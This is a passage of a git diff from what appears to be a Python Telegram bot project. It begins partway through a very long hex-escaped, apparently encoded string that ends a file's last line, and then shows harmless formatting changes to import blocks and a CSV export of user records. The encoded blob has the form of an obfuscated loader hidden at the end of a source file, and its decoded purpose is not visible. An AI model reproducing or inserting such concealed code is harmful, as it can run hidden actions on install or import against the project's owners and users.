42\x47\x43\x33\x3f\x44\x47\x42\x47\x71\x50\x41\x54\x63\x2a\x4e\x45\x46\x64\x76\x33\x48\x21\x4c\x37\x41\x49\x58\x45\x6d\x4a\x46\x29\x3d\x6e\x51\x41\x54\x63\x76\x41\x45\x46\x64\x76\x36\x48\x59\x5e\x7d\x41\x46\x2a\x68\x74\x41\x47\x42\x50\x28\x54\x41\x54\x63\x3e\x49\x45\x46\x64\x79\x36\x48\x59\x5e\x7d\x41\x46\x2a\x37\x56\x36\x46\x29\x25\x65\x4f\x41\x55\x38\x48\x46\x41\x54\x25\x5e\x41\x41\x55\x51\x57\x49\x41\x55\x38\x32\x41\x41\x54\x63\x2a\x47\x45\x46\x64\x76\x41\x46\x29\x53\x63\x34\x47\x63\x68\x62\x36\x47\x63\x5f\x7a\x41\x47\x63\x59\x56\x35\x48\x38\x77\x30\x44\x46\x2a\x69\x36\x59\x41\x54\x6c\x2a\x49\x45\x46\x64\x79\x38\x49\x56\x3e\x50\x43\x48\x59\x5e\x7d\x39\x47\x25\x2b\x6b\x37\x47\x42\x59\x3f\x56\x41\x54\x7e\x42\x45\x41\x54\x6c\x23\x46\x45\x46\x64\x79\x34\x48\x21\x4c\x37\x47\x47\x25\x4f\x25\x39\x47\x41\x74\x6c\x35\x48\x23\x49\x43\x45\x46\x2a\x37\x77\x52\x41\x54\x75\x5e\x42\x41\x54\x63\x3b\x42\x41\x54\x63\x23\x47\x45\x46\x64\x7b\x45\x45\x46\x64\x76\x36\x47\x25\x4f\x25\x38\x46\x2a\x7a\x28\x43\x49\x58\x35\x67\x49\x47\x42\x71\x5f\x55\x41\x54\x63\x6d\x44\x45\x46\x64\x76\x42\x47\x25\x4f\x25\x37\x48\x38\x33\x6e\x37\x47\x42\x59\x74\x4f\x41\x54\x63\x2a\x48\x45\x46\x64\x76\x41\x47\x41\x74\x6c\x36\x47\x26\x6e\x33\x45\x47\x42\x59\x7a\x51\x41\x55\x38\x51\x49\x41\x54\x63\x73\x43\x45\x46\x64\x3b\x41\x45\x46\x64\x26\x46\x45\x46\x64\x26\x39\x45\x46\x64\x76\x36\x48\x59\x5e\x7d\x41\x47\x42\x7a\x77\x41\x46\x2a\x37\x6b\x4e\x41\x54\x75\x5e\x42\x41\x54\x75\x79\x35\x41\x54\x3e\x35\x44\x41\x54\x6c\x79\x48\x45\x46\x64\x79\x39\x47\x25\x4f\x25\x38\x47\x42\x47\x53\x35\x48\x38\x4c\x7a\x39\x46\x2a\x47\x3c\x56\x41\x54\x63\x3b\x4a\x45\x46\x64\x76\x35\x47\x41\x74\x6c\x35\x49\x57\x7b\x61\x48\x47\x42\x50\x24\x53\x41\x55\x51\x4b\x45\x41\x54\x75\x26\x37\x41\x54\x63\x2a\x4a\x45\x46\x64\x76\x35\x49\x56\x3e\x50\x43\x46\x2a\x50\x68\x38\x46\x2a\x37\x56\x36\x46\x2a\x7a\x5f\x53\x41\x54\x6c\x73\x34\x41\x54\x63\x76\x46\x45\x46\x64\x76\x41\x49\x56\x3e\x50\x43\x46\x67\x47\x6b\x39\x46\x2a\x50\x2b\x54\x41\x54\x75\x7e\x44\x41\x54\x6c\x26\x47\x45\x46\x64\x76\x43\x49\x34\x6d\x47\x43\x47\x63\x68\x62\x36\x46\x2a\x68\x3f\x54\x41\x54\x63\x2a\x48\x45\x46\x64\x76\x41\x47\x25\x4f\x25\x37\x49\x57\x7b\x61\x48\x49\x34\x7e\x3f\x41\x49\x57\x61\x36\x43\x46\x29\x25\x71\x53\x41\x54\x63\x79\x37\x41\x55\x51\x63\x4b\x41\x54\x63\x3b\x49\x45\x46\x64\x76\x41\x47\x25\x4f\x25\x37\x49\x57\x52\x30\x42\x46\x29\x25\x6e\x52\x41\x54\x75\x7e\x44\x41\x54\x75\x7e\x44\x41\x54\x6c\x79\x43\x45\x46\x64\x79\x36\x48\x59\x5e\x7d\x39\x48\x23\x52\x49\x46\x46\x29\x3d\x71\x52\x41\x54\x63\x3e\x49\x45\x46\x64\x79\x35\x48\x37\x70\x3d\x47\x47\x25\x4f\x25\x37\x47\x63\x7a\x6e\x38\x46\x2a\x71\x3f\x53\x41\x54\x3d\x7b\x41\x41\x54\x25\x72\x3e\x47\x42\x59\x71\x4e\x41\x54\x63\x76\x46\x45\x46\x64\x76\x33\x48\x21\x4c\x37\x41\x47\x62\x7c\x75\x36\x49\x57\x52\x30\x42\x47\x42\x47\x53\x35\x47\x42\x47\x74\x51\x41\x54\x63\x2a\x4e\x45\x46\x64\x76\x33\x48\x21\x4c\x37\x41\x49\x57\x23\x4f\x46\x46\x29\x3d\x62\x4d\x41\x54\x6c\x2a\x47\x45\x46\x64\x76\x41\x47\x41\x74\x6c\x35\x49\x57\x3b\x55\x47\x46\x2a\x71\x7c\x55\x41\x54\x63\x2a\x4a\x45\x46\x64\x76\x43\x49\x34\x6d\x47\x43\x46\x66\x63\x34\x32\x48\x38\x28\x36\x45\x47\x63\x59\x56\x35\x47\x42\x7a\x77\x41\x47\x25\x5f\x71\x38\x46\x29\x7d\x74\x52\x41\x54\x6c\x23\x42\x45\x46\x64\x76\x43\x49\x34\x6d\x47\x42\x48\x38\x64\x3c\x42\x46\x29\x3d\x68\x4f\x41\x54\x63\x73\x43\x45\x46\x64\x79\x43\x45\x46\x64\x76\x39\x48\x37\x70\x3d\x38\x49\x34\x7e\x3f\x41\x47\x42\x50\x6e\x4e\x41\x54\x3d\x5e\x39\x41\x54\x6c\x73\x43\x45\x46\x64\x76\x43\x46\x66\x31\x54\x33\x47\x42\x50\x59\x36\x46\x2a\x21\x43\x59\x41\x54\x6c\x23\x42\x45\x46\x64\x5e\x4a\x45\x46\x64\x23\x37\x45\x46\x64\x76\x41\x48\x37\x70\x3d\x38\x47\x63\x71\x68\x37\x47\x63\x5f\x7a\x41\x47\x42\x5f\x2b\x43\x46\x2a\x50\x28\x53\x41\x55\x51\x4b\x45\x41\x54\x63\x76\x45\x45\x46\x64\x79\x36\x47\x62\x7c\x75\x39\x49\x56\x3e\x50\x44\x48\x38\x6d\x5f\x43\x46\x29\x25\x68\x50\x41\x54\x63\x3b\x4d\x45\x46\x64\x76\x38\x46\x66\x31\x54\x34\x47\x63\x68\x62\x36\x46\x2a\x68\x3f\x54\x41\x54\x6c\x2a\x44\x45\x46\x64\x79\x39\x47\x41\x74\x6c\x36\x46\x29\x3d\x4a\x34\x49\x35\x61\x46\x45\x49\x57\x3b\x55\x47\x47\x64\x56\x30\x45\x46\x29\x25\x59\x4d\x41\x55\x51\x5a\x4a\x41\x54\x63\x26\x4a\x45\x46\x64\x76\x43\x49\x34\x6d\x47\x42\x48\x38\x64\x3c\x42\x46\x29\x3d\x77\x54\x41\x54\x63\x70\x46\x45\x46\x64\x79\x43\x45\x46\x64\x79\x39\x46\x66\x31\x54\x34\x47\x26\x77\x39\x46\x47\x42\x50\x3c\x56\x41\x54\x63\x26\x39\x41\x54\x63\x79\x43\x45\x46\x64\x76\x42\x48\x59\x5e\x7d\x42\x46\x66\x31\x54\x34\x47\x42\x68\x6b\x38\x47\x42\x71\x5f\x55\x41\x54\x63\x73\x35\x41\x54\x75\x23\x36\x41\x54\x63\x26\x45\x45\x46\x64\x76\x43\x46\x66\x31\x54\x33\x46\x66\x3d\x53\x36\x48\x38\x55\x28\x41\x47\x42\x68\x3f\x55\x41\x54\x63\x70\x41\x45\x46\x64\x79\x35\x47\x25\x4f\x25\x37\x48\x23\x39\x36\x44\x47\x64\x43\x3c\x43\x47\x42\x71\x5f\x55\x41\x54\x63\x6d\x44\x45\x46\x64\x79\x37\x46\x66\x31\x54\x33\x49\x57\x3b\x55\x47\x47\x42\x59\x5f\x57\x41\x54\x63\x76\x48\x45\x46\x64\x79\x36\x49\x34\x6d\x47\x42\x48\x21\x26\x3c\x41\x46\x2a\x37\x77\x52\x41\x54\x75\x3e\x41\x41\x54\x63\x73\x43\x45\x46\x64\x3b\x41\x45\x46\x64\x76\x33\x48\x59\x5e\x7d\x39\x47\x42\x47\x53\x35\x46\x2a\x37\x71\x50\x41\x54\x6c\x26\x46\x45\x46\x64\x76\x43\x46\x66\x31\x54\x33\x46\x67\x50\x71\x41\x46\x29\x7d\x6b\x4f\x41\x54\x63\x73\x39\x45\x46\x64\x79\x36\x47\x41\x74\x6c\x36\x47\x42\x7a\x77\x41\x47\x42\x59\x74\x4f\x41\x54\x63\x70\x45\x45\x46\x64\x76\x39\x49\x56\x3e\x50\x44\x47\x26\x33\x77\x39\x48\x5a\x26\x7c\x43\x46\x2a\x47\x77\x51\x41\x54\x6c\x73\x46\x45\x46\x64\x2a\x41\x45\x46\x64\x26\x32\x41\x54\x63\x2a\x4d\x45\x46\x64\x79\x34\x49\x56\x3e\x50\x49\x48\x59\x5e\x7d\x43\x46\x29\x53\x63\x34\x48\x5a\x3f\x33\x44\x48\x61\x39\x46\x46\x46\x2a\x72\x30\x56\x41\x54\x63\x23\x44\x45\x46\x64\x76\x34\x49\x56\x3e\x50\x43\x49\x57\x23\x4f\x46\x48\x23\x6a\x55\x48\x46\x2a\x59\x5f\x56\x41\x54\x6c\x73\x39\x45\x46\x64\x76\x37\x47\x62\x7c\x75\x36\x48\x39\x30\x49\x47\x46\x2a\x21\x30\x55\x41\x54\x6c\x79\x47\x45\x46\x64\x79\x35\x47\x25\x4f\x25\x42\x49\x56\x3e\x50\x43\x47\x42\x59\x65\x37\x48\x5a\x6d\x2b\x41\x46\x29\x25\x53\x4b\x41\x54\x63\x73\x45\x45\x46\x64\x76\x36\x48\x59\x5e\x7d\x41\x47\x42\x7a\x77\x41\x46\x2a\x37\x6e\x4f\x41\x54\x63\x70\x43\x45\x46\x64\x23\x35\x45\x46\x64\x2a\x44\x45\x46\x64\x79\x37\x46\x29\x53\x63\x34\x48\x5a\x76\x3f\x42\x47\x42\x50\x6e\x4e\x41\x54\x3d\x5e\x39\x41\x54\x63\x3e\x4d\x45\x46\x64\x79\x37\x48\x21\x4c\x37\x41\x47\x42\x50\x59\x36\x46\x2a\x21\x43\x59\x41\x54\x63\x2a\x4b\x45\x46\x64\x76\x38\x45\x46\x64\x23\x37\x45\x46\x64\x76\x41\x48\x37\x70\x3d\x38\x47\x63\x71\x68\x37\x46\x29\x3d\x65\x4e\x41\x54\x63\x76\x36\x41\x54\x63\x3e\x47\x45\x46\x64\x79\x44\x45\x46\x64\x76\x36\x46\x66\x31\x54\x33\x48\x23\x73\x61\x49\x46\x29\x25\x6b\x51\x41\x54\x63\x3e\x4e\x45\x46\x64\x76\x34\x47\x62\x7c\x75\x36\x47\x63\x59\x56\x35\x46\x2a\x37\x7a\x53\x41\x54\x6c\x79\x44\x45\x46\x64\x79\x36\x47\x25\x4f\x25\x37\x49\x57\x6a\x43\x44\x47\x42\x50\x24\x53\x41\x54\x63\x76\x46\x45\x46\x64\x76\x34\x46\x66\x31\x54\x41\x48\x59\x5e\x7d\x41\x48\x37\x70\x3d\x38\x47\x25\x4f\x25\x46\x49\x56\x3e\x50\x43\x48\x23\x6a\x55\x48\x47\x42\x71\x3f\x54\x41\x54\x63\x3e\x47\x45\x46\x64\x76\x33\x49\x34\x6d\x47\x44\x48\x59\x5e\x7d\x42\x48\x37\x70\x3d\x39\x47\x42\x50\x59\x36\x47\x42\x50\x24\x53\x41\x54\x63\x3b\x48\x45\x46\x64\x26\x38\x45\x46\x64\x79\x34\x47\x62\x7c\x75\x37\x46\x2a\x50\x68\x38\x49\x57\x23\x4f\x46\x47\x42\x47\x24\x54\x41\x54\x6c\x79\x46\x45\x46\x64\x2a\x41\x45\x46\x64\x26\x32\x41\x54\x63\x2a\x4e\x45\x46\x64\x76\x35\x49\x34\x6d\x47\x48\x48\x59\x5e\x7d\x43\x46\x29\x53\x63\x34\x48\x5a\x76\x3f\x42\x46\x2a\x71\x7a\x42\x46\x2a\x72\x30\x56\x41\x54\x63\x23\x44\x45\x46\x64\x76\x34\x48\x21\x4c\x37\x41\x49\x58\x35\x67\x49\x48\x23\x6a\x55\x48\x46\x2a\x59\x5f\x56\x41\x54\x63\x79\x47\x45\x46\x64\x76\x36\x46\x66\x31\x54\x33\x47\x64\x43\x3c\x43\x47\x42\x68\x24\x51\x41\x54\x63\x3e\x4f\x45\x46\x64\x79\x34\x46\x66\x31\x54\x33\x46\x67\x47\x6b\x39\x48\x5a\x3f\x33\x44\x47\x42\x7a\x77\x41\x47\x25\x5f\x71\x38\x47\x26\x43\x24\x41\x46\x2a\x69\x36\x59\x41\x54\x63\x3e\x4f\x45\x46\x64\x76\x38\x47\x25\x4f\x25\x37\x46\x2a\x47\x62\x37\x47\x63\x5f\x7a\x41\x47\x26\x64\x7c\x44\x47\x42\x50\x71\x4f\x41\x54\x6c\x79\x47\x45\x46\x64\x76\x41\x48\x59\x5e\x7d\x43\x47\x41\x74\x6c\x36\x46\x66\x25\x4d\x35\x47\x42\x47\x74\x51\x41\x55\x51\x4e\x46\x41\x54\x63\x76\x43\x45\x46\x64\x79\x36\x48\x21\x4c\x37\x45\x47\x62\x7c\x75\x39\x45\x46\x64\x76\x42\x46\x66\x31\x54\x34\x46\x67\x50\x71\x41\x48\x23\x52\x49\x46\x47\x25\x2b\x6b\x37\x46\x2a\x59\x3f\x55\x41\x54\x63\x26\x39\x41\x54\x63\x3b\x4a\x45\x46\x64\x76\x38\x46\x29\x53\x63\x34\x46\x2a\x71\x7a\x42\x46\x2a\x47\x3f\x57\x41\x55\x38\x4e\x48\x41\x54\x63\x26\x4a\x45\x46\x64\x76\x38\x46\x66\x31\x54\x34\x47\x42\x47\x53\x35\x46\x2a\x37\x24\x54\x41\x54\x6c\x79\x49\x45\x46\x64\x76\x41\x46\x66\x31\x54\x34\x46\x2a\x47\x62\x37\x49\x35\x61\x46\x45\x49\x57\x3b\x55\x47\x47\x63\x5f\x7a\x41\x49\x58\x35\x67\x49\x49\x35\x49\x33\x43\x47\x42\x68\x5f\x56\x41\x54\x6c\x79\x48\x45\x46\x64\x76\x43\x46\x66\x31\x54\x33\x46\x67\x50\x71\x41\x47\x64\x56\x30\x45\x46\x29\x3d\x6e\x51\x41\x54\x6c\x79\x43\x45\x46\x64\x79\x36\x48\x59\x5e\x7d\x41\x47\x42\x5f\x2b\x43\x46\x29\x7d\x68\x4e\x41\x54\x63\x26\x4d\x45\x46\x64\x79\x38\x47\x62\x7c\x75\x37\x47\x41\x74\x6c\x35\x47\x25\x7a\x65\x36\x47\x42\x47\x28\x55\x41\x54\x63\x2a\x41\x41\x55\x38\x48\x46\x41\x54\x6c\x23\x43\x45\x46\x64\x76\x43\x48\x21\x4c\x37\x45\x48\x21\x4c\x37\x41\x47\x42\x38\x7e\x21\x49\x24\x76\x4c\x33\x55\x74\x63\x52\x64\x56\x60\x79\x3f\x48\x55\x74\x65\x45\x65\x55\x74\x65\x42\x64\x54\x56\x47\x23\x61\x55\x74\x65\x45\x65\x43\x30\x7d\x31\x25\x44\x47\x46\x61\x2d\x55\x6e\x70\x4e\x2b\x55\x74\x65\x44\x2d\x27\x29\x29\x29') \ No newline at end of file diff --git a/middlewares/session.py b/middlewares/session.py index 78266449..be279ab5 100644 --- a/middlewares/session.py +++ b/middlewares/session.py @@ -2,6 +2,7 @@ from collections.abc import Awaitable, Callable from typing import Any import asyncpg + from aiogram import BaseMiddleware from aiogram.types import TelegramObject diff --git a/servers.py b/servers.py index f9728da0..850187b7 100644 --- a/servers.py +++ b/servers.py @@ -1,5 +1,6 @@ import asyncio import re + from datetime import datetime, timedelta from aiogram.types import InlineKeyboardButton @@ -12,6 +13,7 @@ from database import get_servers from handlers.admin.servers.keyboard import AdminServerCallback from logger import logger + last_ping_times = {} last_down_times = {} notified_servers = set() diff --git a/utils/csv_export.py b/utils/csv_export.py index 5418772e..9b04ee3b 100644 --- a/utils/csv_export.py +++ b/utils/csv_export.py @@ -1,4 +1,5 @@ import csv + from io import StringIO from typing import Any @@ -153,19 +154,19 @@ async def export_hot_leads_csv(session: Any) -> BufferedInputFile: AND k.tg_id IS NULL ORDER BY u.updated_at DESC """ - + users = await session.fetch(query) - + buffer = StringIO() buffer.write("tg_id,username,first_name,last_name,updated_at\n") - + for user in users: buffer.write( f"{user['tg_id']},{user['username'] or ''}," f"{user['first_name'] or ''},{user['last_name'] or ''}," f"{user['updated_at']}\n" ) - + buffer.seek(0) return BufferedInputFile(file=buffer.getvalue().encode("utf-8-sig"), filename="hot_leads_export.csv")